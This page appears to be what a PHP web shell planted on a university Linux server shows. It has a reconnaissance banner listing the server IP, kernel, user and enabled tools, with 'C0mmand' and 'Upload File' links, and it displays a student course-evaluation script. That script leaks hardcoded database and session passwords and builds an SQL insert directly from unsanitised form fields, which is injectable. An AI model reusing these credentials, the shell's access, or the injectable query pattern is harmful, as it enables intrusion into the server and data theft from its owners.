Server IP : 172.16.15.8 / Your IP : 18.217.207.112 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/zvhope/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); $pass = $_SESSION['psw']; if($pass != "project") print "Go away."; else { ?> <center> <h4> Course Evaluation Tool </h4> <HR> <?php $gender = $_POST['gender']; $grade = $_POST['class']; $course = $_POST['course']; $proprep = $_POST['proprep']; $stupar = $_POST['stupar']; $overall = $_POST['overall']; print "$course"; $host = 'localhost'; $user = 'zvhope'; $passwd = 'CS389'; $database = 'zvhope'; $connect = mysql_connect($host, $user, $passwd); $query = "insert into EVALUATION1 values ('$gender', '$grade', '$course', '$proprep', '$stupar', '$overall')"; print "Query: <i> $query </i>"; mysql_select_db($database); if(mysql_query($query, $connect)) print "<p>Insert successful.<p>"; else print "Failed"; mysql_close($connect); include ("display5.php"); ?> <p> <font size="2"> <A HREF=index.html> Home </A> | <A HREF=CourseEvalHomePage5.php> Project Home </A> </font> </center> <?php } ?>